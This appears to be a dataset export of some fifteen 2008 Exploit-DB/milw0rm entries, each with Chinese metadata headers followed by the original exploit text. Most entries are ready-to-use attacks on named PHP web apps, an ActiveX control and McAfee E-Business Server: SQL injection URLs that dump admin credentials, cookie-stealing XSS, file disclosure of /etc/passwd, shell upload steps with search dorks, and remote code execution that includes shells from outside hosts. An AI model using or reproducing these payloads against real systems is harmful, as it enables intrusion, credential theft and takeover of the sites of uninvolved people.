QLWD/code_shield huggingface dataset:
标题: Gateway Weblaunch - ActiveX Control Insecure Method EDB-ID: 4869 CVE: 2008-0221 2008-0220 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-08 漏洞利用脚本: <!-- 
Gateway Weblaunch ActiveX Control Insecure Method Exploit
Implemented Categories:
Category: Safe for Initialising
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, weblaunch.ocx version 1.0.0.1
This method is also vulnerable to a buffer overflow in the 2nd and 4th parameters
-->
<html>
 <head>
  <title>Gateway Weblaunch ActiveX Control Insecure Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
                //escape from systemdrive\documents and settings\username\local settings\temp
  obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\calc.exe","","");
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:93CEA8A4-6059-4E0B-ADDD-73848153DD5E" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-08] URL: https://www.exploit-db.com/exploits/4869
标题: McAfee E-Business Server 8.5.2 - Remote Code Execution / Denial of Service (PoC) EDB-ID: 4878 CVE: 2008-0127 类型: DOS 平台: MULTIPLE 发布日期: 2008-01-09 漏洞利用脚本: #!/usr/bin/perl
#
#
# McAfee(R) E-Business Server(TM) 8.5.2 Remote preauth crash (PoC)
#
# - tested on Windows and Linux
#
#
# Leon Juranic <leon.juranic@infigo.hr>, 
# Infigo IS <http://www.infigo.hr/en/>
#


use IO::Socket;

$saddr = "192.168.1.3";
$sport = 1718;

$exp1 = "\x01\x3f\x2f\x05\x25\x2a" . "A" x 69953;;

print "> Sending exploit string...\n";
my $server_sock = IO::Socket::INET->new (PeerAddr => $saddr, PeerPort => $sport) || die ("Cannot connect to server!!!\n\n");
print $server_sock $exp1;

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4878
标题: evilboard 0.1a - SQL Injection / Cross-Site Scripting EDB-ID: 4865 CVE: 2008-0155 2008-0154 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-08 漏洞利用脚本: #####################################################################
##
##  Title: EvilBoard 0.1a (Alpha) Multiple Remote Vulnerabilities
##  Author: seaofglass, <seaofglass[at]korea.com>
##  Download: http://sourceforge.net/projects/evilboard
##  Bug: XSS & Remote Sql Injection
##  Info: EvilBoard is using PHP and mysql.
##  MySite: http://seaofglass.backrush.com
##
#####################################################################

# bug 1  : XSS

# PoC
http://host/EvilBoard_0.1a/index.php?c='><script>alert('hi');</script>


# bug 2 : Remote SQL Injection

# PoC
http://host/EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from/**/eb_members/**/where/**/userid=1/*

# thanks
vangelis, AmesianX

# milw0rm.com [2008-01-08] URL: https://www.exploit-db.com/exploits/4865
标题: osData 2.08 Modules Php121 - Local File Inclusion EDB-ID: 4870 CVE: 2008-0230 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-09 漏洞利用脚本: =========================================================================
osData <= 2.08 Modules Php121 Local File Include Vulnerability 
=========================================================================
Found by :
Cold z3ro , http://www.Hackteach.org/cc/
=========================================================================
Download :
http://gscripts.net/free-php-scripts/Dating_Scripts/osDate/details.html
=========================================================================
Bug :
if (file_exists($php121dir . "php121config.php")) {          <= line 34
  require_once($php121dir . "php121config.php");
 } else {
  die ("PHP121 configuration file does not exist!");
}
=========================================================================
About :
osData is php dating script fully integrates with major bulletin boards 
(phpBB, vBulletin ) and FlashChat and provides several payment modules, 
multiple skins, and free upgrade .
=========================================================================
Usage :
http://host/osData/php121/php121db.php?php121dir=[ File ]%00
=========================================================================
Greets : 
Hack Teach Masters And Members , Xp10 Masters
=========================================================================
Plestine Hackers SQl Command :
0 update palestine set palestine = 'Long live My Homeland';
=========================================================================

# milw0rm.com [2008-01-09] URL: https://www.exploit-db.com/exploits/4870
标题: EkinBoard 1.1.0 - Arbitrary File Upload / Authentication Bypass EDB-ID: 4859 CVE: 2008-7157 2008-7156 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: ----[ EkinBoard Remote File Upload / Auth Bypass ... ITDefence.ru Antichat.ru ]

       EkinBoard >= 1.1.0 Remote File Upload / Auth Bypass
       Eugene Minaev underwater@itdefence.ru 
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  We can bypass admin authorization if register_globals on . All admin panel script include this code
  
  <?php
  if(!in_array(2, $_groups)){
  die("<center><span class=red>You need to be an admin to access this page!</span></center>");
  } 
  ?>
  
  test1.ru/skvoznoy/backup.php?_groups[]=2
  
  There is a bug in upload function . We can upload any file bypass filters . Name your shell like 
  file.php.gif and select it as your avatar . Then check uploaded/avatars/filename_your_id.php

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-07] URL: https://www.exploit-db.com/exploits/4859
标题: TUTOS 1.3 - 'cmd.php' Remote Command Execution EDB-ID: 4861 CVE: 2008-0149 2008-0148 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: ######################################################################################
# AUTHOR : H-T TeaM {HouSSaMix _ ToXiC350}                                           #
# HOME : http://no-hack.net                      #
# Script :  TUTOS (Tested in version 1.3) other versions may also be affected.       #
# Download : http://www.tutos.org/homepage/index.html                                #       
# BUG :      Command Execution Vulnerability                                         #  
######################################################################################

(~)| 3xpl0it4t10n

 -1- : Command Execution

    http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php?cmd=[your command]  

   >> we dont need a permission admin for access to '/php/admin/cmd.php' :d 
 
    exemple :  http://site.com/tutos/php/admin/cmd.php?cmd=id;ls
 
 or we can just  enter into : http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php
 and right the command in [ CMD(*) ] and press enter :d

-2- Get phpinfo 

   http://[TARGEt]/[path_TUTOS]/php/admin/phpinfo.php 

(~)| Explantion By Video :
     http://no-hack.net/video/tutos.zip
 

# greezt : CoNaN  , GoLd_M , RoMaNcYxHaCkEr , and all muslims Hackers 

######################################################################################
#                  H-T TeaM {HouSSaMix _ ToXiC350}                                   #
######################################################################################

# milw0rm.com [2008-01-07] URL: https://www.exploit-db.com/exploits/4861
标题: NetRisk 1.9.7 - Cross-Site Scripting / SQL Injection EDB-ID: 4852 CVE: 2008-0186 2008-0185 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ####################################################################
   #                                                                  #
   #  ...:::::netrisk 1.9.7 Multiple Remote Vulnerabilities::::....  #
   #                        (sql injection/xss)                       #           
   ####################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By : virangar security team
(hadihadi)
---------------------------------
special tnx to:MR.nosrati,black.shadowes,MR.hesy,satan,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
------------------------------------

vlues:

1.sql injection:
get admin login name:
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,login,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*
---
get admin pass:
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,pass,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*
########################
2.xss:
http://site.com/patch/index.php?page=<script>alert(document.cookie)</script>

########################
NetRisk contains of  other sql injecton/xss/LFI  bugs in other pages ;)

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4852
标题: LoudBlog 0.6.1 - 'parsedpage' Remote Code Execution EDB-ID: 4849 CVE: 2008-0139 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ----[ Loudblog Remote Code Execution ... ITDefence.ru Antichat.ru ]

       Loudblog >= 0.6.1 Remote Code Execution
       Eugene Minaev underwater@itdefence.ru
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  Template parser function
  
  <?php
  
  $parsedpage = fullparse(firstparse(hrefmagic($template)));

  //do we have php code within our template? switch between echo and eval!
  if ($php_use) {
  $templatepieces = explode ($phpseparator, $parsedpage);
  for ($i = 0; $i <= count($templatepieces); $i += 2) {
  echo $templatepieces[$i];
  if (isset($templatepieces[$i+1])) eval ($templatepieces[$i+1]);
  }
  //no php code, no eval!
  } else {
  echo $parsedpage;
  }  
  
  ?>
  
  loudblog/inc/parse_old.php?template=@phpinfo();@&php_use=1&phpseparator=@&parsedpage=@phpinfo();@
  

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4849
标题: Horde Web-Mail 3.x - 'go.php' Remote File Disclosure EDB-ID: 4850 CVE: 2006-1260 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ----[ Horde Web-Mail Remote File Disclosure ... ITDefence.ru Antichat.ru ]

       Horde Web-Mail Remote File Disclosure
       Eugene Minaev underwater@itdefence.ru
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  At first look , this code is not vulnerable and we can only read remote files.
  
  <?php
  
  if (empty($_GET['url'])) {
  exit;
  }
  if (get_magic_quotes_gpc()) {
  $url = @parse_url(stripslashes($_GET['url']));
  } else {
  $url = @parse_url($_GET['url']);
  }  
  
  .....
  
  if ((!empty($_SERVER['SERVER_NAME']) &&
  $_SERVER['SERVER_NAME'] == $url['host']) ||
  (!empty($_SERVER['HTTP_HOST']) &&
  $_SERVER['HTTP_HOST'] == $url['host'])) { 
  
  .....
  
  
  if (!empty($_GET['untrusted'])) {
  readfile($_GET['url']);
  exit;
  }  
  
  ?>
  
  But parse_url is only a set of regular expressions and we can use nullbyte to deceive function.
  
  http://test1.ru/horde/util/go.php?untrusted=1&url=test.php%00http://another.host/

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

1st advisory: http://www.securityfocus.com/archive/1/427710/30/0/threaded

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4850
标题: Shop-Script 2.0 - 'index.php' Remote File Disclosure EDB-ID: 4855 CVE: 2008-0158 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: #########################################################################
        Shop-Script 2.0 index.php Remote File Disclosure Vuln

#########################################################################
Script:Shop-Script 2.0

Download : ??

AUTHOR :Fisher762 From S.M.A TEAM

Contact Me: fisher.762@hotmail.com

HOME : http://www.v99x.com/vb


DorKs :" Shop-Script 2.0. All rights reserved"


###########################################################################
## EXPLOIT :
http://site.com/Script/index.php?aux_page=../../../../../etc/passwd

###########################################################################

############################################################################

## GREETZ T0 : Fisher762 ,Abo Hmza ,Ev!l3-K!ll3r,HaCk-TrOjAn And all S.M.A TEAM

########################################################################### 

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4855
标题: CuteNews 1.1.1 - 'html.php' Remote Code Execution EDB-ID: 4851 CVE: 2008-4557 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ----[ CuteNews Remote Code Execution ... ITDefence.ru Antichat.ru ]

       Strawberry (CuteNews) Remote Code Execution
       Eugene Minaev underwater@itdefence.ru
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  Preg_replace with 'e' modifier allows code execution
  <?php

  $source = htmlspecialchars($text);

  $source = preg_replace(
  '/&lt;!--(.*?)--&gt;/es',
  '"<span style=\"color: ".$options["color"]["comment"].";\">&lt;!--".
  str_replace("&lt;","&lt;<!-- -->",
  str_replace("=","=<!-- -->",
  "$1")).
  "--&gt;</span>"',
  $source);  

  ?>
  
  strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('blackybr.nm.ru/shell');
  

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4851
标题: Uebimiau Web-Mail 2.7.10/2.7.2 - Remote File Disclosure EDB-ID: 4846 CVE: 2008-0210 2008-0140 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ----[ Uebimiau Web-Mail Remote File Reader ... ITDefence.ru Antichat.ru ]

       Uebimiau Web-Mail Remote File Reader
       Eugene Minaev underwater@itdefence.ru
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  
  At first i decided to look login script . Each script includes this code
  
  <?php
  if(strlen($f_pass) > 0) {

  ..elseif (
  ($sess["auth"] && intval((time()-$start)/60) < $idle_timeout)) {

  $UM->mail_user   = $f_user    = $sess["user"];
  $UM->mail_pass   = $f_pass    = $sess["pass"];
  $UM->mail_server = $f_server  = $sess["server"];
  $UM->mail_email  = $f_email   = $sess["email"];

  } else {
  Header("Location: ./index.php?tid=$tid&lid=$lid\r\n"); 
  exit; 
  } 
  ?>
  
  So , if register_globals on , we can make a request like script.php?f_pass=+toxa+&sess[auth]=1 
  to make script think that we are authorized user . Then i looked each script to find something 
  interest.
  
  <?php
  define("SMARTY_DIR","./smarty/");
  require_once(SMARTY_DIR."Smarty.class.php");
  $smarty = new Smarty;
  $smarty->compile_dir = $temporary_directory;
  $smarty->security=true;
  $smarty->secure_dir=array("./");
  $smarty->assign("umLanguageFile",$selected_language.".txt");  
  ?>
  
  Looks great  :)  But selected_language was already defined . But there was a similar code with EXTRACT.
  So , we can read local files on server !
  
  <?php
  if($phpver >= 4.1) {
  extract($_GET);
  }

  $smarty->assign("umSid",$sid);
  $smarty->assign("umLid",$lid);
  $smarty->assign("umTid",$tid);

  $smarty->assign("umErrorCode",$err);

  $smarty->display("$selected_theme/error.htm");
  ?>
  
  http://test1.ru/uebimiau/error.php?f_pass=blackybr&sess[auth]=1&selected_theme=../ksuri.php%00
  
  
  

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4846
标题: WordPress Plugin Wp-FileManager 1.2 - Arbitrary File Upload EDB-ID: 4844 CVE: 2008-0222 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ######################################################################################
# AUTHOR : H-T TeaM {HouSSaMix _ ToXiC350}                                           #
# HOME : http://no-hack.net                                                          #
# Script :  Wordpress Plugin Wp-FileManager                                          #
# Download : http://downloads.wordpress.org/plugin/wp-filemanager.1.2.zip            #                            
# BUG :  Remote File Upload Vulnerability [ Shell Upload Exploit  ]                  #
######################################################################################

(~)| 3xpl0it4t10n :

  This file allowed you to upload directly a PHP script or anything you want it

  You have just to enter into :

   http://[TARGEt]/[path_wordpress]/wp-content/plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php

  After uploading you evil script you will find it in this directory :

   http://[TARGEt]/[path_wordpress]/uploaded/[evil].(php)


  HeRe we are some dorks :

          plugins/wp-filemanager/ 
          inurl:/wp-filemanager/




# greezt : GoLd_M , RoMaNcYxHaCkEr , DDos , and all muslims Hackers 



######################################################################################
#                  H-T TeaM {HouSSaMix _ ToXiC350}                                   #
######################################################################################

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4844
标题: XOOPS mod_gallery Zend_Hash_key + Extract - Remote File Inclusion EDB-ID: 4847 CVE: 2008-0138 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-06 漏洞利用脚本: ----[ XOOPS mod_gallery Zend_Hash_key + Extract RFI ... ITDefence.ru Antichat.ru ]

      XOOPS mod_gallery Zend_Hash_key + Extract REMOTE FILE INCLUDE
       Eugene Minaev underwater@itdefence.ru
    ___________________________________________________________________
   ____/  __ __ _______________________ _______  _______________    \  \   \
   / .\  /  /_// //              /        \       \/      __       \   /__/   /
   / /     /_//              /\        /       /      /         /     /___/
   \/        /              / /       /       /\     /         /         /
   /        /               \/       /       / /    /         /__       //\
   \       /    ____________/       /        \/    __________// /__    // /   
   /\\      \_______/        \________________/____/  2007    /_//_/   // //\
   \ \\                                                               // // /
   .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
   . \_\\________[________________________________________]_________//_//_/ . .
   
  
  Bug works only with register_globals = OFF . I find their security fix very fun , and you ? : )
  
  <?php
  /* Begin Security Fix */
  $scrubList = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_POST_FILES');
  foreach ($scrubList as $outer) 
  {
   foreach ($scrubList as $inner) 
   {
    if (isset(${$outer}[$inner])) 
    {
     unset(${$outer}[$inner]);
    }
   }
  }  
  ....some php code...
  /* End Security Fix */
  extract($_GET);
  extract($_POST);
  extract($_COOKIE);  
  ?>
  
  Hah .. very serious security fix , yeah  :) 
  
  <?php
  if (substr(PHP_OS, 0, 3) == 'WIN') {
  require_once($GALLERY_BASEDIR . "platform/fs_win32.php");
  } else {
  require_once($GALLERY_BASEDIR . "platform/fs_unix.php");
  } 
  ?>
  
  zend_hash_key_calc.exe GALLERY_BASEDIR
  
  GALLERY_BASEDIR
  PHP5 hash: -2093085906
  PHP4 hash: -995617320
  
  test.ru/xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://path/to/m0nzt3r_shell.txt?&2093085906=1&995617320=2
  

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06] URL: https://www.exploit-db.com/exploits/4847